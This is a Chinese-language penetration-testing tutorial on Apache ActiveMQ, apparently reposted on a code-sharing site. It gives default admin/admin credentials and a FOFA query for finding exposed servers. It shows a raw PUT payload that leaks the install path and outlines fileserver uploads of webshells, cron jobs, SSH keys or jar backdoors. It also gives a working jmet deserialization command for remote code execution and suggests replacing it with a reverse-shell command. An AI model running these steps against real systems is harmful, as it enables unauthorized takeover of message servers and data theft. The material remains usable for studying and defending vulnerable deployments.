Active MQ未授權訪問


ActiveMQ是一款流行的開源消息服務器。默認情況下,ActiveMQ服務是沒有配置安全參數。惡意人員可以利用默認配置弱點發動遠程命令執行攻擊,獲取服務器權限,從而導致數據泄露。
一、未授權訪問
默認端口:8161
401默認密碼:admin/admin
fofa:body="ActiveMQ"&&port=8161&&country=CN
FOFA搜索
401認證
默認密碼admin/admin
默認賬號密碼

二、ActiveMQ物理路徑泄漏漏洞
ActiveMQ默認開啟PUT請求,當開啟PUT時,構造好Payload(/fileserver/a../../%08/..%08/.%08/%08)(即不存在的目錄),Response會返回相應的物理路徑信息:
Request Raw:

PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: 192.168.197.25:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 4
test

Response Raw:

HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file or directory)
Content-Length: 0
Server: Jetty(7.6.7.v20120910)

三、文件上傳
背景介紹:
ActiveMQ的web控制台分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是接口,fileserver是儲存文件的接口;admin和api都需要登錄后才能使用,fileserver無需登錄。
fileserver是一個RESTful API接口,我們可以通過GET、PUT、DELETE等HTTP請求對其中存儲的文件進行讀寫操作,其設計目的是為了彌補消息隊列操作不能傳輸、存儲二進制文件的缺陷。
使用條件:
ActiveMQ在5.12.x~5.13.x版本中,已經默認關閉了fileserver這個應用(你可以在conf/jetty.xml中開啟之);在5.14.0版本以后,徹底刪除了fileserver應用。
fileserver支持寫入文件(但不解析jsp),同時支持移動文件(MOVE請求)。
寫入的方法:

  • 寫入webshell(方便快捷、但需要登錄admin和api兩個應用,並且不解析jsp)
  • 寫入cron或ssh key等文件(可直接反彈shell,但需root權限)
  • 寫入jar或jetty.xml等庫和配置文件(寫入jar需要jar后門,寫入xml配置文件需要adctivemq的絕對路徑)

四、反序列化
影響范圍:Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞
原理:該漏洞源於程序沒有限制可在代理中序列化的類。遠程攻擊者可借助特制的序列化的Java Message Service(JMS)ObjectMessage對象利用該漏洞執行任意代碼。
默認端口:61616
web端口:8161

exp:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "yourcommand" -Yp ROME your-ip 61616

使用jmet進行漏洞利用。首先下載jmet的jar文件,並在同目錄下創建一個external文件夾(否則可能會爆文件夾不存在的錯誤)

此時會給目標ActiveMQ添加一個名為event的隊列,我們可以通過http://your-ip:8161/admin/browse.jsp?JMSDestination=event看到這個隊列中所有消息:
消息隊列.png

當管理員點擊查看消息后,命令執行成功。
可將command換成反彈shell語句。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM